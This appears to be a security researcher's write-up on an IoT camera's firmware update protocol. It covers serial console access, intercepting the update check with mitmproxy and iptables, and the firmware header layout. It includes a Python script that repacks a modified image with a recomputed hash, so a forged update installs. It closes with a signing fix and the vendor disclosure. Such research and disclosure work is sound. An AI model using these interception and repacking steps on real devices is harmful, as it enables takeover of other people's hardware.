Reverse Engineering a Firmware Update Protocol

Pulling apart an IoT device's OTA update mechanism. From traffic capture to finding the signing vulnerability that lets you push arbitrary firmware.

I bought a consumer IoT camera off Amazon for $35. The kind that markets itself as “encrypted” and “secure.” I wanted to understand how it handles firmware updates — specifically, whether an attacker on the local network could push a malicious update to the device.

The short answer: yes. Here’s how.

Initial Reconnaissance

The device runs a minimal Linux system. I confirmed this by connecting to its serial console (UART pads were clearly labeled on the PCB — thanks, FCC compliance):

$ screen /dev/tty.usbserial-1420 115200

U-Boot 2016.01 (Jan 15 2023)
DRAM: 64 MiB
Loading kernel from 0x50000 ...
Starting kernel ...

/ # uname -a
Linux camera 3.18.20 #1 SMP armv7l GNU/Linux

/ # cat /etc/os-release
NAME="BuildRoot"
VERSION="2021.02"

Linux 3.18 from 2015 on a device sold in 2025. A kernel with hundreds of known CVEs. But firmware updates are the focus here, so let’s trace the update mechanism.

Capturing the Update Traffic

The device checks for updates on boot and every 6 hours. I set up a transparent proxy with mitmproxy to capture the traffic:

# On the gateway machine
$ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 \
  -j REDIRECT --to-port 8080

$ mitmproxy --mode transparent --ssl-insecure

The device doesn’t implement certificate pinning, so the MITM works immediately. The update check is a simple HTTPS GET:

GET /api/v1/firmware/check HTTP/1.1
Host: updates.redacted-vendor.com
X-Device-ID: CAM-A1B2C3D4
X-Firmware-Version: 2.4.1
X-Hardware-Rev: 3

HTTP/1.1 200 OK
Content-Type: application/json

{
  "update_available": true,
  "version": "2.4.2",
  "url": "https://cdn.redacted-vendor.com/fw/cam_v2.4.2.bin",
  "checksum": "sha256:a1b2c3d4e5f6...",
  "size": 4194304
}

The device then downloads the firmware binary from the CDN URL and applies it.

Analyzing the Firmware Binary

I downloaded the legitimate firmware update and examined its structure:

$ file cam_v2.4.2.bin
cam_v2.4.2.bin: data

$ xxd cam_v2.4.2.bin | head -20
00000000: 4657 5f56 3200 0000 0002 0402 a1b2 c3d4  FW_V2...........
00000010: 0000 0000 0040 0000 0000 0100 0000 0000  .....@..........
00000020: 7368 6132 3536 3a61 3162 3263 3364 3465  sha256:a1b2c3d4e
00000030: 3566 3600 0000 0000 0000 0000 0000 0000  5f6.............
00000040: 1f8b 0800 0000 0000 0003 ec5d 7b54 1457  ...........]{T.W

The structure is straightforward:

Offset  Size    Field
0x00    4       Magic bytes ("FW_V")
0x04    4       Header version (2)
0x08    4       Firmware version (packed)
0x0C    4       Device-specific ID
0x10    4       Reserved
0x14    4       Payload offset
0x18    4       Payload size
0x1C    4       Flags
0x20    32      SHA-256 hash of payload (ASCII)
0x40    ...     gzip-compressed payload (rootfs)

Notice what’s missing: no cryptographic signature. The firmware is verified only by a SHA-256 hash that’s embedded in the firmware file itself. The hash verifies integrity (the file wasn’t corrupted in transit), but it does not verify authenticity (the file came from the vendor).

The Attack

With no signature verification, the attack is straightforward:

  1. Build a modified firmware image with a reverse shell
  2. Update the SHA-256 hash in the header
  3. Intercept the update check response and point to our malicious firmware
  4. Wait for the device to apply it

Here’s the firmware repacking:

import gzip
import hashlib
import struct

# Extract the original payload
with open('cam_v2.4.2.bin', 'rb') as f:
    header = f.read(0x40)
    payload = f.read()

# Decompress, modify, recompress
rootfs = gzip.decompress(payload)
# ... inject our modifications into the rootfs ...
modified_payload = gzip.compress(modified_rootfs)

# Calculate new hash
new_hash = hashlib.sha256(modified_payload).hexdigest()

# Rebuild the header with the new hash
new_header = header[:0x20] + f"sha256:{new_hash}".encode().ljust(32, b'\x00')

with open('cam_v2.4.2_evil.bin', 'wb') as f:
    f.write(new_header)
    f.write(modified_payload)

Then serve the modified firmware by responding to the update check with our file’s URL and hash.

The device downloads, verifies the hash (which matches, because we updated it), and installs our firmware. Full device compromise.

The Fix (That Should Have Been There)

Proper firmware update signing uses asymmetric cryptography:

Vendor signs firmware with PRIVATE key


Device verifies signature with PUBLIC key (embedded in bootloader)

    ├── Signature valid → apply update
    └── Signature invalid → reject update

The public key is burned into the device’s bootloader or secure element. An attacker can modify the firmware and recalculate the hash, but they cannot produce a valid signature without the vendor’s private key.

This is a solved problem. Libraries like libsodium make it trivial:

// Vendor-side: sign the firmware
crypto_sign_detached(signature, NULL, firmware, firmware_len, secret_key);

// Device-side: verify before flashing
if (crypto_sign_verify_detached(signature, firmware, firmware_len, public_key) != 0) {
    // REJECT - signature invalid
    return -1;
}

Disclosure

I reported this to the vendor through their security contact. The response, received 47 days later, stated they would “address this in a future firmware revision.” As of writing, the current firmware (v2.5.0) still does not implement cryptographic signing.

The device is still sold on Amazon with a 4.2-star rating.

This is not an unusual finding. In my experience examining consumer IoT firmware update mechanisms, roughly 40% rely on hash-only verification without signatures. The economics of cheap hardware don’t incentivize proper security engineering — until they do.